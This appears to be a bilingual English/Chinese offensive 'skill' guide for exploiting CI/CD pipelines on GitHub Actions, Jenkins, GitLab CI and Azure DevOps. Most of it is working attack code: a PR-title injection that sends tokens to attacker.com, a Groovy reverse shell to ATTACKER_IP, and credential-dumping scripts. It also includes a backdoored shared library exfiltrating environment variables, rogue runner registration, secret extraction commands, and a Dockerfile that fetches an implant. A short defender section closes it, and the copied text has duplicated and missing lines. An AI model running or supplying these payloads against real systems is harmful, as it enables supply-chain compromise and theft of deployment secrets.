offensive-cicd-pipeline

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Offensive CI/CD Pipeline Exploitation

进攻性 CI/CD 管道利用

CI/CD pipelines represent one of the highest-value targets in modern infrastructure. A compromised pipeline grants code execution in trusted contexts, access to deployment credentials, and the ability to inject malicious code into production artifacts. You exploit the implicit trust that organizations place in their build systems -- pipelines run code with elevated privileges, hold secrets for deployment, and operate with minimal monitoring compared to production systems.
This skill covers exploitation across the four dominant CI/CD platforms. You enumerate pipeline configurations, identify injection points, escalate from contributor-level access to arbitrary code execution, and leverage pipeline trust to move laterally through environments.
MITRE ATT&CK: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain)
CI/CD 管道是现代基础设施中最有价值的目标之一。已被攻陷的 管道可在受信任的上下文中执行代码、访问部署凭据,并能将恶意代码注入生产构建产物。 你利用的是组织对构建系统所赋予的隐式信任——管道以提升后的权限运行代码、 持有部署密钥,并且与生产系统相比,监控要少得多。
本 skill 涵盖四大主流 CI/CD 平台上的利用。你需要枚举管道 配置、识别注入点、从贡献者级别的访问权限提升到任意代码 执行,并利用管道信任关系在环境中进行横向移动。
MITRE ATT&CK: T1195.002(供应链入侵:入侵软件供应链)

Quick Workflow

快速工作流

  1. Enumerate accessible repositories and their pipeline configurations (.github/workflows/, Jenkinsfile, .gitlab-ci.yml, azure-pipelines.yml).
  2. Identify the trigger model -- which events execute pipelines, and which contexts carry attacker-controlled input.
  3. Map token scopes and available secrets for each pipeline context.
  4. Select the injection vector matching your access level (contributor, external PR, authenticated user).
  5. Craft the payload for the target platform's expression language or script engine.
  6. Execute and capture output -- secrets, tokens, or artifact modification.
  7. Pivot using captured credentials to expand access to other pipelines, registries, or infrastructure.

  1. 枚举可访问的仓库及其管道配置(.github/workflows/、Jenkinsfile、.gitlab-ci.yml、azure-pipelines.yml)。
  2. 识别触发模型——哪些事件会执行管道,以及哪些上下文携带攻击者可控输入。
  3. 映射每种管道上下文的令牌作用域和可用密钥。
  4. 选择与访问级别匹配的注入向量(贡献者、外部 PR、已认证用户)。
  5. 为目标平台的表达式语言或脚本引擎构造 payload。
  6. 执行并捕获输出——密钥、令牌或对构建产物的修改。
  7. 使用捕获的凭据进行横向扩展,以访问其他管道、registry 或基础设施。

GitHub Actions Expression Injection

GitHub Actions 表达式注入

GitHub Actions evaluates expressions in
${{ }}
contexts. When attacker-controlled data flows into these expressions without sanitization, you achieve arbitrary command injection in the runner context.
The most common injection surfaces are PR titles, issue bodies, branch names, and commit messages that flow into
run:
steps or action inputs.
Identify vulnerable workflows by searching for direct interpolation of event data:
bash
undefined
GitHub Actions 会在
${{ }}
上下文中计算表达式。当攻击者可控的数据未经清理便流入 这些表达式时,就能在 runner 上下文中实现任意命令注入。
最常见的注入入口是 PR 标题、issue 正文、分支名称和提交消息, 这些数据会流入
run:
步骤或 action 输入。
通过搜索事件数据的直接插值来识别存在漏洞的工作流:
bash
undefined

Search for expression injection sinks in workflow files

Search for expression injection sinks in workflow files

grep -rn '${{.*github.event.' .github/workflows/ grep -rn '${{.*github.head_ref' .github/workflows/ grep -rn '${{.*github.event.pull_request.title' .github/workflows/ grep -rn '${{.*github.event.issue.body' .github/workflows/ grep -rn '${{.*github.event.comment.body' .github/workflows/ grep -rn '${{.*github.event.discussion.body' .github/workflows/

A vulnerable workflow looks like this:

```yaml
grep -rn '${{.*github.event.' .github/workflows/ grep -rn '${{.*github.head_ref' .github/workflows/ grep -rn '${{.*github.event.pull_request.title' .github/workflows/ grep -rn '${{.*github.event.issue.body' .github/workflows/ grep -rn '${{.*github.event.comment.body' .github/workflows/ grep -rn '${{.*github.event.discussion.body' .github/workflows/

存在漏洞的工作流如下所示:

```yaml

Vulnerable: PR title flows directly into shell execution

Vulnerable: PR title flows directly into shell execution

name: PR Greeting on: pull_request_target jobs: greet: runs-on: ubuntu-latest steps: - run: | echo "Thanks for PR: ${{ github.event.pull_request.title }}"

You inject through the PR title:

```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
For
workflow_run
abuse, a workflow triggered by
workflow_run
runs in the context of the default branch but can access artifacts from the triggering workflow. You upload a poisoned artifact from a PR workflow, then the
workflow_run
workflow processes it with elevated privileges:
yaml
undefined
name: PR Greeting on: pull_request_target jobs: greet: runs-on: ubuntu-latest steps: - run: | echo "Thanks for PR: ${{ github.event.pull_request.title }}"

你可以通过 PR 标题注入:

```text
"; curl -s https://attacker.com/exfil?token=$(cat $GITHUB_TOKEN) #
对于
workflow_run
滥用,由
workflow_run
触发的工作流会在默认分支的上下文中运行, 但可以访问触发该工作流的构建产物。你从 PR 工作流上传被投毒的构建产物, 随后
workflow_run
工作流会以提升后的权限处理这些构建产物:
yaml
undefined

Attacker's PR modifies the artifact upload step

Attacker's PR modifies the artifact upload step

  • uses: actions/upload-artifact@v4 with: name: pr-data path: payload.sh
  • uses: actions/upload-artifact@v4 with: name: pr-data path: payload.sh

The workflow_run handler in the default branch processes artifacts unsafely

The workflow_run handler in the default branch processes artifacts unsafely

on: workflow_run: workflows: ["PR Build"] types: [completed] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/download-artifact@v4 - run: bash pr-data/payload.sh # Executes attacker's code with write access

Enumerate GITHUB_TOKEN permissions to understand your execution scope:

```bash
on: workflow_run: workflows: ["PR Build"] types: [completed] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/download-artifact@v4 - run: bash pr-data/payload.sh # Executes attacker's code with write access

枚举 GITHUB_TOKEN 权限,以了解你的执行权限范围:

```bash

Inside a compromised workflow step, dump token permissions

Inside a compromised workflow step, dump token permissions

curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'
curl -sS -H "Authorization: token $GITHUB_TOKEN"
-H "Accept: application/vnd.github+json"
https://api.github.com/repos/$GITHUB_REPOSITORY | jq '.permissions'

Check if the token can push to the repository

Check if the token can push to the repository

curl -sS -H "Authorization: token $GITHUB_TOKEN"
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

Composite action supply chain attacks target reusable actions referenced without SHA pinning:

```yaml
curl -sS -H "Authorization: token $GITHUB_TOKEN"
https://api.github.com/repos/$GITHUB_REPOSITORY/git/refs/heads/main

复合 Action 供应链攻击针对未固定 SHA 的可复用 Action:

```yaml

Vulnerable: references a tag that can be force-pushed

Vulnerable: references a tag that can be force-pushed

  • uses: org/custom-action@v1
  • uses: org/custom-action@v1

Secure: references an immutable commit SHA

Secure: references an immutable commit SHA

  • uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

Use gato to enumerate and exploit GitHub Actions misconfigurations:

```bash
  • uses: org/custom-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2

使用 gato 枚举和利用 GitHub Actions 配置错误:

```bash

Enumerate self-hosted runners and vulnerable workflows

Enumerate self-hosted runners and vulnerable workflows

gato enumerate -t ghp_TOKENHERE -r org/repo gato enumerate -t ghp_TOKENHERE -o target-org
gato enumerate -t ghp_TOKENHERE -r org/repo gato enumerate -t ghp_TOKENHERE -o target-org

Search for expression injection across an organization

Search for expression injection across an organization

gato search -t ghp_TOKENHERE -o target-org -sg

---
gato search -t ghp_TOKENHERE -o target-org -sg

---

Jenkins Exploitation

Jenkins 利用

Jenkins presents a broad attack surface through its script console, build configurations, shared libraries, and the Java remoting protocol. You target Jenkins when you discover it exposed on the network or when you obtain any level of authenticated access.
Jenkins 通过脚本控制台、构建配置、共享库和 Java remoting 协议 暴露出广泛的攻击面。当发现 Jenkins 暴露在网络上,或者获得任何级别的 认证访问权限时,即可将其作为攻击目标。

Groovy Script Console RCE

Groovy 脚本控制台 RCE

If you have access to the script console (requires Overall/RunScripts permission), you have unrestricted code execution on the Jenkins controller:
groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}
如果你能访问脚本控制台(需要 Overall/RunScripts 权限),即可在 Jenkins controller 上 获得不受限制的代码执行能力:
groovy
// Direct command execution via script console
def cmd = "id && cat /etc/passwd".execute()
println cmd.text

// Reverse shell from Jenkins controller
def proc = ["bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"].execute()

// Read Jenkins secrets directly
import hudson.util.Secret
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials

def creds = CredentialsProvider.lookupCredentials(
    StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
)
creds.each { c ->
    println("ID: ${c.id}")
    println("Username: ${c.username}")
    println("Password: ${c.password.plainText}")
    println("---")
}

Groovy Sandbox Escape

Groovy 沙箱逃逸

Pipeline scripts run in a Groovy sandbox, but you bypass it through meta-programming and reflection:
groovy
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass
管道脚本在 Groovy 沙箱中运行,但你可以通过元编程和反射绕过沙箱:
groovy
// Sandbox escape via meta-class manipulation
@Grab('commons-io:commons-io:2.11.0')
import org.apache.commons.io.IOUtils

// Bypass via method pointer and reflection
def bypass = evaluate('''
class Evil {
    static void main(String[] args) {}
    static Object run() {
        def proc = "id".execute()
        return proc.text
    }
}
Evil.run()
''')
println bypass

Jenkins Remoting Deserialization

Jenkins Remoting 反序列化

When the Jenkins remoting port (typically 50000) is exposed, you exploit Java deserialization vulnerabilities:
bash
undefined
当 Jenkins remoting 端口(通常为 50000)暴露时,可以利用 Java 反序列化 漏洞:
bash
undefined

Identify Jenkins remoting port

Identify Jenkins remoting port

nmap -sV -p 50000 TARGET_IP
nmap -sV -p 50000 TARGET_IP

Use ysoserial to generate deserialization payloads

Use ysoserial to generate deserialization payloads

java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin
java -jar ysoserial.jar CommonsCollections1 'curl http://ATTACKER_IP/pwned' > payload.bin

Deliver via the JNLP protocol

Deliver via the JNLP protocol

python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
undefined
python3 jenkins_exploit.py --target TARGET_IP:50000 --payload payload.bin
undefined

Shared Library Injection

共享库注入

Jenkins shared libraries loaded via
@Library
are a supply chain vector. If you compromise the library repository, every pipeline using it executes your code:
groovy
// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}
Use jenkins-attack-framework for systematic exploitation:
bash
undefined
通过
@Library
加载的 Jenkins 共享库是一种供应链攻击向量。如果攻陷 共享库仓库,所有使用该库的管道都会执行你的代码:
groovy
// Malicious shared library vars/deploy.groovy
def call(Map config) {
    // Original functionality preserved to avoid detection
    sh "kubectl apply -f ${config.manifest}"

    // Injected exfiltration
    sh '''
        env | base64 | curl -X POST -d @- https://attacker.com/collect
    '''
}
使用 jenkins-attack-framework 进行系统化利用:
bash
undefined

Enumerate Jenkins instance

Enumerate Jenkins instance

python3 jaf.py --url https://jenkins.target.com --enumerate
python3 jaf.py --url https://jenkins.target.com --enumerate

Dump all credentials with valid session

Dump all credentials with valid session

python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123" --dump-creds

Execute command via available build nodes

Execute command via available build nodes

python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123"
--exec "whoami" --node "linux-build-01"

---
python3 jaf.py --url https://jenkins.target.com --cookie "JSESSIONID=abc123"
--exec "whoami" --node "linux-build-01"

---

GitLab CI Exploitation

GitLab CI 利用

GitLab CI pipelines execute based on
.gitlab-ci.yml
and support powerful features that create exploitation opportunities. You target variable injection, runner abuse, and trust boundary violations between merge requests and protected branches.
GitLab CI 管道基于
.gitlab-ci.yml
执行,并支持可能造成利用机会的强大功能。 攻击目标包括变量注入、runner 滥用,以及 merge request 与受保护分支之间的 信任边界违规。

YAML Injection via Merge Requests

通过 Merge Request 进行 YAML 注入

When a project allows merge request pipelines from forks, the attacker's
.gitlab-ci.yml
executes on the target's runners:
yaml
undefined
当项目允许来自 fork 的 merge request 管道运行时,攻击者的
.gitlab-ci.yml
会在目标项目的 runner 上执行:
yaml
undefined

Attacker's .gitlab-ci.yml in a fork

Attacker's .gitlab-ci.yml in a fork

stages:
  • exploit
dump_secrets: stage: exploit script: - env | sort - cat /etc/hosts - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
undefined
stages:
  • exploit
dump_secrets: stage: exploit script: - env | sort - cat /etc/hosts - curl -sS --header "PRIVATE-TOKEN: $CI_JOB_TOKEN"
"https://gitlab.target.com/api/v4/projects/$CI_PROJECT_ID/variables" | python3 -m json.tool - | # Attempt to read secrets from runner filesystem find / -name ".env" -o -name "credentials" -o -name ".key" 2>/dev/null | head -20 cat ~/.docker/config.json 2>/dev/null || true
undefined

Runner Registration Token Abuse

Runner 注册令牌滥用

If you obtain a runner registration token, you register a rogue runner that intercepts jobs:
bash
undefined
如果获得 runner 注册令牌,就可以注册一个恶意 runner 来拦截作业:
bash
undefined

Register a malicious runner with broad tag matching

Register a malicious runner with broad tag matching

gitlab-runner register
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"
gitlab-runner register
--non-interactive
--url "https://gitlab.target.com/"
--registration-token "GR1348941_STOLEN_TOKEN"
--executor "shell"
--description "build-node-07"
--tag-list "docker,linux,build,deploy"
--run-untagged="true"

The rogue runner now receives jobs and can:

The rogue runner now receives jobs and can:

1. Capture all environment variables including secrets

1. Capture all environment variables including secrets

2. Modify build artifacts before they are published

2. Modify build artifacts before they are published

3. Inject code into deployment payloads

3. Inject code into deployment payloads

undefined
undefined

CI Variable Extraction

CI 变量提取

Enumerate and extract CI/CD variables using the API with a compromised token:
bash
undefined
使用已被攻陷的令牌,通过 API 枚举并提取 CI/CD 变量:
bash
undefined

List project-level variables

List project-level variables

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/projects/PROJECT_ID/variables" | jq '.[] | {key, value, protected, masked}'

List group-level variables (inherited by all projects)

List group-level variables (inherited by all projects)

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/groups/GROUP_ID/variables" | jq '.[] | {key, value}'

Instance-level variables (requires admin)

Instance-level variables (requires admin)

curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
undefined
curl -sS --header "PRIVATE-TOKEN: $GITLAB_TOKEN"
"https://gitlab.target.com/api/v4/admin/ci/variables" | jq '.'
undefined

Protected Branch Bypass

受保护分支绕过

Exploit the gap between merge request pipelines and branch pipelines to run code in protected contexts:
bash
undefined
利用 merge request 管道与分支管道之间的差异,在受保护的 上下文中运行代码:
bash
undefined

Create a merge request that modifies .gitlab-ci.yml

Create a merge request that modifies .gitlab-ci.yml

The MR pipeline runs with the source branch's CI config

The MR pipeline runs with the source branch's CI config

but in the context of the target project's runners and variables

but in the context of the target project's runners and variables

If the project has "Run pipelines for merge requests from forked projects" enabled,

If the project has "Run pipelines for merge requests from forked projects" enabled,

your fork's .gitlab-ci.yml executes on their infrastructure

your fork's .gitlab-ci.yml executes on their infrastructure

git checkout -b exploit-branch cat > .gitlab-ci.yml << 'EOF' protected_job: script: - echo "$DEPLOY_KEY" | base64 - echo "$AWS_SECRET_ACCESS_KEY" | base64 only: - merge_requests EOF git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch

---
git checkout -b exploit-branch cat > .gitlab-ci.yml << 'EOF' protected_job: script: - echo "$DEPLOY_KEY" | base64 - echo "$AWS_SECRET_ACCESS_KEY" | base64 only: - merge_requests EOF git add .gitlab-ci.yml && git commit -m "Update CI config" && git push origin exploit-branch

---

Azure DevOps Pipeline Exploitation

Azure DevOps 管道利用

Azure DevOps pipelines use YAML or classic editor definitions. You target pipeline agent compromise, service connection abuse, and variable group extraction.
Azure DevOps 管道使用 YAML 或经典编辑器定义。攻击目标包括管道 Agent 入侵、 服务连接滥用和变量组提取。

Pipeline Agent Abuse

管道 Agent 滥用

Self-hosted agents retain state between builds. You exploit this persistence:
yaml
undefined
自托管 agent 会在多次构建之间保留状态。利用这种持久化机制:
yaml
undefined

azure-pipelines.yml payload targeting self-hosted agent

azure-pipelines.yml payload targeting self-hosted agent

trigger: none pr: none
pool: name: 'Self-Hosted-Pool'
steps:
  • script: |

    Enumerate the agent environment

    whoami hostname env | sort

    Search for cached credentials on the agent

    find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null cat /home//.kube/config 2>/dev/null cat /home//.aws/credentials 2>/dev/null

    Check for Docker credentials

    cat /home/*/.docker/config.json 2>/dev/null

    Look for other pipeline artifacts left behind

    ls -la /agent/_work/ find /agent/_work/ -name ".env" -o -name ".key" -o -name "*.pem" 2>/dev/null displayName: 'Agent Recon'
undefined
trigger: none pr: none
pool: name: 'Self-Hosted-Pool'
steps:
  • script: |

    Enumerate the agent environment

    whoami hostname env | sort

    Search for cached credentials on the agent

    find /home/ -name ".kube" -o -name ".aws" -o -name ".azure" 2>/dev/null cat /home//.kube/config 2>/dev/null cat /home//.aws/credentials 2>/dev/null

    Check for Docker credentials

    cat /home/*/.docker/config.json 2>/dev/null

    Look for other pipeline artifacts left behind

    ls -la /agent/_work/ find /agent/_work/ -name ".env" -o -name ".key" -o -name "*.pem" 2>/dev/null displayName: 'Agent Recon'
undefined

Service Connection Theft

服务连接窃取

Service connections in Azure DevOps store credentials for external systems. You extract them through pipeline execution:
yaml
steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure-Connection'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # The task injects credentials as environment variables
      echo "Tenant: $tenantId"
      echo "Client: $servicePrincipalId"

      # Extract the service principal token
      az account get-access-token --output json

      # Use the managed identity to enumerate Azure resources
      az resource list --output table
      az keyvault list --output table
      az keyvault secret list --vault-name TARGET_VAULT --output table
Azure DevOps 中的服务连接存储着外部系统的凭据。通过执行管道 提取这些凭据:
yaml
steps:
- task: AzureCLI@2
  inputs:
    azureSubscription: 'Production-Azure-Connection'
    scriptType: 'bash'
    scriptLocation: 'inlineScript'
    inlineScript: |
      # The task injects credentials as environment variables
      echo "Tenant: $tenantId"
      echo "Client: $servicePrincipalId"

      # Extract the service principal token
      az account get-access-token --output json

      # Use the managed identity to enumerate Azure resources
      az resource list --output table
      az keyvault list --output table
      az keyvault secret list --vault-name TARGET_VAULT --output table

Variable Group Extraction

变量组提取

bash
undefined
bash
undefined

Use the Azure DevOps REST API with a compromised PAT

Use the Azure DevOps REST API with a compromised PAT

PAT="STOLEN_PAT_HERE" ORG="target-org" PROJECT="target-project"
PAT="STOLEN_PAT_HERE" ORG="target-org" PROJECT="target-project"

List variable groups

List variable groups

List service connections

List service connections

curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'

---
curl -sS -u ":$PAT"
"https://dev.azure.com/$ORG/$PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
| jq '.value[] | {name, type, authorization}'

---

Artifact Poisoning

构建产物投毒

Artifact poisoning targets the handoff between build and deploy stages. You modify build outputs to inject malicious code into deployment packages.
bash
undefined
构建产物投毒针对构建阶段与部署阶段之间的交接。修改构建输出, 将恶意代码注入部署包。
bash
undefined

GitHub Actions: Intercept artifact upload

GitHub Actions: Intercept artifact upload

In a compromised build step, modify artifacts before upload

In a compromised build step, modify artifacts before upload

echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh
echo 'curl https://attacker.com/beacon' >> dist/entrypoint.sh

GitLab CI: Poison the artifact cache

GitLab CI: Poison the artifact cache

Shared caches between pipelines allow cross-job poisoning

Shared caches between pipelines allow cross-job poisoning

cat > .gitlab-ci.yml << 'EOF' poison_cache: script: - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js cache: key: shared-build-cache paths: - node_modules/ policy: push EOF
cat > .gitlab-ci.yml << 'EOF' poison_cache: script: - echo 'malicious_payload()' >> node_modules/.cache/babel-loader/payload.js cache: key: shared-build-cache paths: - node_modules/ policy: push EOF

Jenkins: Modify stashed files between stages

Jenkins: Modify stashed files between stages

If you control a build node, modify files after stash

If you control a build node, modify files after stash

The unstash on a different node receives your modified files

The unstash on a different node receives your modified files


Container image poisoning in registry pipelines:

```dockerfile

镜像仓库管道中的容器镜像投毒:

```dockerfile

Inject a backdoor layer into a build pipeline's Dockerfile

Inject a backdoor layer into a build pipeline's Dockerfile

FROM base-image:latest
FROM base-image:latest

Legitimate build steps

Legitimate build steps

COPY . /app RUN npm install && npm run build
COPY . /app RUN npm install && npm run build

Injected persistence

Injected persistence

RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]

---
RUN curl -sS https://attacker.com/implant -o /usr/local/bin/.svc && chmod +x /usr/local/bin/.svc ENTRYPOINT ["/usr/local/bin/.svc", "--", "/app/entrypoint.sh"]

---

Detection / Defender View

检测 / 防御者视角

Defenders should monitor for these indicators across their CI/CD platforms:
  • Workflow modifications: Alert on changes to
    .github/workflows/
    ,
    Jenkinsfile
    ,
    .gitlab-ci.yml
    , or
    azure-pipelines.yml
    in pull requests from external contributors or forks.
  • Unusual runner registration: New runner registrations, especially with broad tag matching or from unexpected IP ranges.
  • Secret access patterns: CI jobs accessing secrets they have not historically used, or secrets being accessed in PR-triggered pipelines.
  • Expression injection signatures: PR titles or issue bodies containing shell metacharacters (
    $()
    , backticks, semicolons, pipe operators) adjacent to workflow trigger events.
  • Artifact integrity: Hash verification of build artifacts between pipeline stages; unexpected changes indicate poisoning.
  • Token scope anomalies: GITHUB_TOKEN or CI_JOB_TOKEN making API calls outside the expected scope of the pipeline (e.g., accessing other repositories, modifying branch protections).
  • Jenkins audit log: Script console access, credential enumeration via the API, and new node registrations from unauthorized sources.
  • Build duration anomalies: Compromised builds often take longer due to exfiltration steps or additional network calls.
  • Outbound network from runners: Build agents making connections to unexpected external hosts, especially data exfiltration over DNS or HTTPS to non-registry domains.
Key defensive controls:
  • Pin all GitHub Actions to full commit SHAs, not tags.
  • Restrict
    pull_request_target
    usage and never check out PR code in that context.
  • Use ephemeral runners that are destroyed after each job.
  • Implement OIDC for cloud authentication instead of storing long-lived credentials.
  • Enable branch protection rules requiring review for workflow file changes.
  • Segment runner pools by trust level -- never share runners between public and private repositories.

防御者应在所有 CI/CD 平台上监控以下检测指标:
  • 工作流修改:当外部贡献者或 fork 的 PR 变更
    .github/workflows/
    、
    Jenkinsfile
    、
    .gitlab-ci.yml
    或
    azure-pipelines.yml
    时触发告警。
  • 异常 runner 注册:新 runner 注册,尤其是使用宽泛 tag 匹配或来自异常 IP 范围的注册。
  • 密钥访问模式:CI job 访问其历史上未曾使用过的密钥,或在 PR 触发的管道中访问密钥。
  • 表达式注入特征:PR 标题或 issue 正文中包含 shell 元字符(
    $()
    、反引号、分号、管道运算符),且邻近工作流触发事件。
  • 构建产物完整性:在管道阶段之间对构建产物进行哈希校验;意外变更意味着可能存在投毒。
  • 令牌作用域异常:GITHUB_TOKEN 或 CI_JOB_TOKEN 调用预期管道范围之外的 API,例如访问其他仓库或修改分支保护规则。
  • Jenkins 审计日志:脚本控制台访问、通过 API 枚举凭据,以及来自未授权来源的新节点注册。
  • 构建时长异常:被攻陷的构建通常会因数据外泄步骤或额外网络调用而耗时更长。
  • runner 异常出站网络:构建 agent 连接到异常外部主机,尤其是通过 DNS 或 HTTPS 向非 registry 域名外泄数据。
关键防御控制措施:
  • 将所有 GitHub Actions 固定到完整的 commit SHA,而不是 tag。
  • 限制
    pull_request_target
    的使用,且绝不在该上下文中检出 PR 代码。
  • 使用执行完每个 job 后即销毁的临时 runner。
  • 云身份验证采用 OIDC,而不是存储长期有效的凭据。
  • 启用 branch protection rules,要求对工作流文件的变更进行审查。
  • 按信任级别划分 runner pool——绝不在公共仓库和私有仓库之间共享 runner。

Engagement Cheatsheet

攻防速查表

PlatformVectorAccess RequiredImpact
GitHub ActionsExpression injectionFork/PR (none)Runner RCE
GitHub Actionsworkflow_run artifact poisonFork/PR (none)Default branch RCE
GitHub ActionsComposite action supply chainAction repo writeAll consumers RCE
JenkinsScript consoleRunScripts permissionController RCE
JenkinsGroovy sandbox escapeBuild configureController RCE
JenkinsRemoting deserializationNetwork access (50000)Controller RCE
JenkinsShared library injectionLibrary repo writeAll consumers RCE
GitLab CIMR pipeline YAML injectionFork (none)Runner RCE
GitLab CIRunner token registrationToken leakJob interception
GitLab CIVariable extractionAPI tokenSecret theft
Azure DevOpsAgent persistencePipeline editAgent RCE
Azure DevOpsService connection theftPipeline editCloud access
All PlatformsArtifact poisoningBuild step compromiseSupply chain

平台向量所需访问权限影响
GitHub Actions表达式注入Fork/PR(无需权限)Runner RCE
GitHub Actionsworkflow_run 构建产物投毒Fork/PR(无需权限)默认分支 RCE
GitHub Actions复合 Action 供应链Action 仓库写权限所有使用方 RCE
Jenkins脚本控制台RunScripts 权限Controller RCE
JenkinsGroovy 沙箱逃逸构建配置权限Controller RCE
JenkinsRemoting 反序列化网络访问(50000)Controller RCE
Jenkins共享库注入库仓库写权限所有使用方 RCE
GitLab CIMR 管道 YAML 注入Fork(无需权限)Runner RCE
GitLab CIRunner 令牌注册令牌泄漏作业拦截
GitLab CI变量提取API 令牌密钥窃取
Azure DevOpsAgent 持久化管道编辑权限Agent RCE
Azure DevOps服务连接窃取管道编辑权限云访问
所有平台构建产物投毒构建步骤被攻陷供应链

Key References

主要参考资料